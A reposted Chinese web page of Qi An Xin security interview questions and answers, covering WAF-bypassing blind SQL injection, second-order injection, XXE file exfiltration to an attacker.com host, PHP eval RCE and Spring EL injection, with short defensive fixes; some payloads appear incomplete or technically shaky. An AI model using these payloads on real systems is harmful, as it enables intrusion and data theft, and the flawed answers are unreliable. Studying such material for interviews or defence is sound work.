奇安信面试题

embedded/2025/3/17 16:13:53/

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

下面是奇安信部分面试题:

问题1
如何利用基于时间的盲注绕过WAF进行数据库指纹识别?请详细说明攻击原理,并给出至少3种现代WAF的绕过技巧。

答案

  • 原理:通过构造条件语句触发数据库延时函数(如MySQL的SLEEP()),根据响应时间差异判断条件真假。

  • 绕过技巧
    1. 分块传输编码:利用HTTP协议分块传输绕过正则检测

    2. Unicode编码混淆SLEEP(5)\u0053\u004c\u0045\u0045\u0050(5)

    3. 参数污染id=1&id=sleep(5)-- 利用后端参数解析特性

    4. 注释符内联/*!50000SLEEP(5)*/(MySQL版本特性)

问题2
某系统使用预处理语句防御SQL注入,但仍存在二次注入漏洞。请分析其成因,并说明如何通过用户注册功能实现数据库篡改。

答案

  • 成因:数据存储时未过滤,后续拼接时触发注入。预处理仅防御即时查询,无法阻止存储的恶意数据被复用。

  • 攻击步骤
    1. 注册用户名:admin'-- (含单引号)

    2. 修改密码时触发SQL:UPDATE users SET password='xxx' WHERE username='admin'-- '

    3. 实际执行语句修改admin用户密码

问题3
给出以下XML解析代码,如何构造恶意XML实现/etc/passwd读取并外传数据?防御方案需修改哪些代码?

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new InputSource(inputStream));

答案

  • 攻击Payload

<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;
]>
<root>&exfil;</root>
  • 防御方案
    1. 禁用DTD:dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

    2. 禁用外部实体:dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

问题4
如何通过DNS外带检测无回显的XXE漏洞?给出具体步骤及需要监控的日志类型。

答案

  1. 构造恶意DTD触发DNS查询:

<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>">
  1. 监控点
    • DNS服务器日志(如dig查询记录)

    • Web服务器访问日志(含base64参数)

  2. 利用协议封装:ftp://attacker.com/%payload(部分解析器支持)

问题5
某PHP系统使用eval("echo $userInput;"),如何构造输入实现RCE?给出两种不同技术路线的Payload并说明修复方案。

答案

  • Payload 1(动态函数调用):
    ';system($_GET["cmd"]);//eval("echo '';system($_GET["cmd"]);//");

  • Payload 2(反引号执行):
    ".$_GET[cmd]." → 触发shell命令执行

  • 修复
    1. 禁用eval()或严格过滤输入(白名单)

    2. 设置disable_functions=system,exec

问题6
某Spring MVC应用使用@ResponseBody返回name=${param.user},攻击者如何利用此漏洞实现任意文件读取?给出完整利用链。

答案

  • 利用步骤
    1. 触发EL表达式:user=__${T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")}__

    2. 利用ScriptEngine执行JS代码:
      user=#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('cmd')")}

  • 防御:使用@ResponseBody时禁用表达式解析(Spring Security配置)


http://www.ppmy.cn/embedded/173379.html

相关文章

基于Redis+AOP+Lua脚本实现一个服务器限流机制

后端某些接口在高并发的压力下往往会导致性能的严重下降&#xff0c;为了维持我们后端服务型的高性能和高可用&#xff0c;我们往往可以对某些接口或某些用户去设计限流机制&#xff0c;控制这些热点接口的访问量&#xff0c;我这里利用Redis的高性能优势&#xff0c;并整合AOP…

Spring Boot 核心知识点深度详解:自动化配置 (Auto-configuration) - 解锁 Spring Boot 的 “魔法”

Spring Boot 核心知识点深度详解&#xff1a;自动化配置 (Auto-configuration) - 解锁 Spring Boot 的 “魔法” ✨ 自动化配置 (Auto-configuration) 是 Spring Boot 最核心的特性之一&#xff0c;也是它能够大幅简化 Spring 应用开发的关键所在。 它让 Spring Boot 应用能够…

量子计算 × 虚拟现实:未来科技的双剑合璧

量子计算 虚拟现实&#xff1a;未来科技的双剑合璧 前言&#xff1a;当量子计算遇上虚拟现实 虚拟现实&#xff08;VR&#xff09;已经从游戏娱乐逐步渗透到医疗、教育、工业仿真等领域。然而&#xff0c;当前 VR 依然面临诸多挑战&#xff0c;如高计算需求、实时渲染延迟、…

ModelScope推理QwQ32B

文章目录 ModelScope推理QwQ32Bmodel_scope下载QwQ32BModelScope 调用QwQ-32B ModelScope推理QwQ32B 以下载 qwq32b 为例子 需要安装的 python 包 transformers4.49.0 accelerate>0.26.0 torch2.4.1 triton3.0.0 safetensors0.4.5可以使用 conda 创建一个虚拟环境安装 cond…

c#:使用串口通讯实现数据的发送和接收

串口通讯&#xff08;Serial Communication&#xff09;是一种常见的硬件设备与计算机之间的数据传输方式&#xff0c;广泛应用于工业控制、嵌入式系统、传感器数据采集等领域。本文将详细介绍如何使用C#实现基于串口通讯的数据发送和接收&#xff0c;并结合代码示例解析其实现…

在使用element-ui时表单的表头在切换页面时第一次进入页面容易是白色字体解决方法

在里面添加:header-cell-style"{ color: black }" <el-table :data"tableData" style"width: 100%" height"250" :header-cell-style"{ color: black }" ></el-table> 正确代码是 <templat…

贪吃蛇小游戏-简单开发版

一、需求 本项目旨在开发一个经典的贪吃蛇游戏&#xff0c;用户可以通过键盘控制蛇的移动方向&#xff0c;让蛇吃掉随机出现在游戏区域内的食物&#xff0c;每吃掉一个食物&#xff0c;蛇的身体长度就会增加&#xff0c;同时得分也会相应提高。游戏结束的条件为蛇撞到游戏区域的…

【3D视觉学习笔记2】摄像机的标定、畸变的建模、2D/3D变换

本系列笔记是北邮鲁老师三维重建课程笔记&#xff0c;视频可在B站找到。 1. 摄像机的标定 摄像机标定的过程就是从1张或者多张图片中求解相机的内外参数的过程。 根据上一节的知识&#xff0c;针孔摄像机模型的世界坐标系到成像平面的映射关系为 p K [ R , T ] P p K[R,T]…